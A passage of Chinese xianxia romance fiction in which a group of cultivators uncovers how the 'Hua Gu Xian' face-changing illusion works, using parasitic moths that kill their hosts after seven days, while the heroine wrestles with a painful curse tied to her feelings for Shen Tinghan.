唐司缘说完,她身上的威压便瞬息间散去,她浑身的气力都被抽空,只能腿一软瘫坐在地上。 她盯着柳伏意手指上细微的动作,将手置在胸前,感受自己胸腔内那颗蓬勃暴躁的心。 荣锦绣主理锦绣坊已有年月,她并非不知这真言咒得是对已有嫌疑的人才可使用,否则终归不合戒律。 她少不了多看柳伏意几眼。 偏偏缠心藤一事将柳伏意的战力衬得水涨船高,唐司缘嘴中说出齐尘二字便足够让她自己慌了心神。 眼看柳伏意面无表情,唐司缘几乎是心急如焚,大约再不讲实话,齐尘可能真的会命丧于此。 “画骨仙一定不是齐尘。”她想了想,不知道如何形容,干脆将自己的感受描述出来,“他有和齐尘一样的相貌,一样的说话方式,和一样的回忆……但他就不是齐尘。” 柳伏意轻轻“嗯”了一声,示意她继续下去。 “毁容一事,不算齐尘的错。可他因此内疚,躲着藏着不敢见我,他不会移情别恋的。” 灵剑派五毒几乎是同一时间小翻白眼抿了抿唇,欲言又止。 这算是锦绣坊暗藏的孽缘主线吗?齐尘都带着替身到唐司缘面前蹬鼻子上脸了,唐司缘还爱着呢?! 唐司缘急切地观察着面前众人的反应,无奈之下声调不由高了几个度:“当年所谓一刀两断见面互掐其实是有内情的!我和齐尘一个修同心诀一个修忘情道,确实是大道不和……” 但道侣而已,修士也是人,也需要搭伙过日子。齐尘和唐司缘称得上是郎才女貌,性格绝配,感情甚笃。 偏偏二人也都是各自大道内数一数二的前辈,带头与死对头相恋结契恐怕落下话柄,便想出来这么个馊主意。 顾元香心下了然,把他们的盘算说的明明白白:“噢,就是你俩假装闹掰了,不影响修炼同心诀和忘情道的其他弟子,私下里还是道侣。” 唐司缘点点头,阮长风继而补充说:“结果没想到打斗的时候出了问题,天火莲失控,导致你们俩真的分开了。” 唐司缘叹了口气,半晌过后仍是颔首默认:“所以齐尘一直没敢见我……但以我对他的了解,他绝对不会纵容画骨仙戕害人命的。” 沈听寒许久没有说话,只在这时冷不丁开了腔。 “你是觉得,齐尘已经出事了吧?” “连黄岐都能夺舍后饲养缠心藤搅乱回春派,画骨仙想取代齐尘办法想必会更多吧。”唐司缘的语调难免多出悲伤,她抬头望天,脑海里不自觉就浮现出齐尘的样貌,“他不会用那种厌恶的眼神看着我,哪怕我毁容了,他也不会讨厌我的。” 唐司缘摇摇头,扶着一旁的古墙站起身来,任一无边际的怅惘将她裹挟。 “我还是很后悔的,因为一些外界的看法,我总是推开他,是我放弃了跟他光明正大在一起的机会。” 柳伏意几乎是毫不动脑就把这语境中的两个人由唐司缘齐尘换成了她和沈听寒。 只在她察觉到自己分神犹豫的时刻,手腕筋脉处突突地开始发痛。 像是心跳,更像是警告。 柳伏意只狠狠地将凸起的脉搏按下去,袖袍落下遮掩住她手腕处的惨状。 唐司缘关心则乱,怕是不好去西市坊,为今之计仍是他们五个先行一步。 柳伏意一手攥着拳,隐忍腕上那处难以忽视的剧痛,面上仍看不出半点异常,挂着一向标致的微笑,转而与荣锦绣行了个礼道:“既然如此,还是劳烦前辈看着唐长老,我们即可动身前往西市坊。” 西市坊热闹非凡,却不比渝州繁华。建筑装潢主街干道皆是普通的石木色,道路两旁随意堆积着一些茅草朽木。 过路的人多着布衣,时不时地又出现几个衣着华贵的公子小姐。 西市坊中的人,对皮相漂亮的过路人总会忍不住多看几眼。 柳伏意手中捏个诀,一咒念毕,五人面巾之下的容貌只能说是丑的惊为天人。 顾元香瞥见柳伏意似笑非笑的神色,狐疑地找了处水塘。 水塘之内,一张丑脸惊开圈圈涟漪。 顾元香此刻的这张脸四处痦子疙瘩,毫不夸张的说,她第一眼看过去只能注意到猪头一样的脸型,根本看不出五官有何特别。 若说是为了掩人耳目,这扮相实在也无可挑剔。盯着看半刻钟也除了丑说不出其他的形容词来。 顾元香吞了吞口水有些哑口无言,她正欲发作,只待一个回头惊鸿一瞥,其余四人也适时摘下面巾…… 四张丑脸。 “工伤啊这是!”顾元香小跑到同伴面前,终于明白柳伏意在笑什么。 阮长风和沈听寒容貌也被大改,体型都有些细微的变化,看着不再高挑健壮,而这一套放在玄易身上就有些过了头。 秃头,再加上矮,五官紧凑贼眉鼠眼,看着已经把“我不是好人”五个字写在脸上了。 五人相视而笑,他们解开面巾不过半晌,便有富贵小姐径直朝他们走过来。 五人身上的衣袍不说是一等一的华贵,却也是寻常布衣百姓轻易穿不到的,这样的人儿于贵胄而言倒也不失为一个朋友。 丰腴美貌的女子在五人身旁掠 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从她话里话外推测而出,她也是找画骨仙重塑了容貌的。而这近在咫尺的皮囊看不出有任何缺点,没有刀口,没有伤疤,完美宛若新生。 顾元香顿了顿,试探道:“听说画骨仙换脸只有七日之效,这可是真的?” “看运气吧,若真是只有七日,也不会有这样多的人前赴后继来找他了。谁能真的为了一时的美貌这样不怕死?”女子笑了笑,故意将声音压低了,“画骨仙说了,这是看运气的,七日之后若是那换脸之人没有死,那她的绝世容貌就可以一直留存,不老亦不丑……” 因为有这样的可能,才会有许许多多的人为了渺茫的机会甘愿献出生命。 交换而来的,大多都是七日即死。 女子雀跃的语调平静下来,如玉如葱的手指轻轻沾着茶壶中的凉茶,在古旧陈腐的桌上虚虚地画着几个圈。 “这也是我的第七日,是生是死,只看今天了。” 她漂亮的皮相上连苦笑都显得温柔又忧郁,然而话音刚落,她的身体便迅速地起皱发灰,皮肤一瞬间松垮如同老树。 更别提那张倾国倾城的脸面,好似被什么遮住了头,并非是锦绣坊之中数十具简单的无脸女尸。 顾元香吓得倒退一步惊呼出声,随即拉住柳伏意的袖子道:“我知道画骨仙是怎么一回事了。” 柳伏意简单用术法处理了女子的尸身,又用传音箭给锦绣坊送了消息,才跟其余四人随便进了一处荒废的草屋。 顾元香按捺不住激动,扯着她的袖子道:“画骨仙应该用的是一种幻术,覆面蛾。这和易容术的区别就在于易容只能看不能接触,而覆面蛾是在人脸之上汲取营养,在背部生出五官……只要操作得当,覆面蛾是很难被人发现的。” “什么叫操作得当?”柳伏意问。 “生剥人脸,猪骨塑容,覆面蛾在此之上生出人脸五官,并且淡化自己的蛾身,寻常人发现不了。” 顾元香环顾四周,确认没什么人才小声说:“而且覆面蛾的存活时间的确只有七日,所以七日之后人一定会死,但……” 柳伏意紧接着道:“但锦绣坊那些人的身上,没有覆面蛾。有人在她们死后把蛾拿走了。” 五人在草屋中合计须臾,眼下最直接的做法仍然是直接正面去探画骨仙,并且最好是两人道侣结伴而行。 说起道侣,另三人便不发话了,在回春派时柳伏意和沈听寒称得上是互明心意不欢而散,如今要他们手挽手亲密接触佯作道侣,怕是太过为难人家了。 沈听寒抿唇不语,他只等柳伏意的决定。 “那我和沈听寒一组,元香和师兄一组,玄易是出家人不好进去,便在外等待接应吧。” 柳伏意腕间越是剧痛,她就越是莫名。 凭什么一提到沈听寒的名字,一想到和他有关的事情,她的身体就像是不受自己控制,秉承着旁人的意志,敲打她,用疼痛来提醒她,莫要逾矩。 柳伏意冷嗤一声,除了天道,还有谁能有这样通天的本事,日日盯着她是否动心等等…… “你是不是还在犹豫,你和沈听寒的关系?”顾元香将她拉到一旁无人处,小心询问道。 柳伏意轻呼一口气,强硬地用灵力把腕间不属于她的力量按下去,借此平息那处时刻跳动的痛感。 她睨了一眼上天,目光飘下来的时候顺便从沈听寒脸上掠过。 人脸俊秀美貌的时候,无论看谁,都是一副深情缱绻的模样,教人看不出真情假意。 而现如今,沈听寒戴着那样丑陋的皮囊,一双清浅温和的双眼却仍然落在她身上,无时无刻注意着她的小动作。 她腕间的痛瞒不过他。 他的喜欢也根本藏不住。 “如果没有这把剑,哪怕碎了无情道,我也会想跟他在一起的。”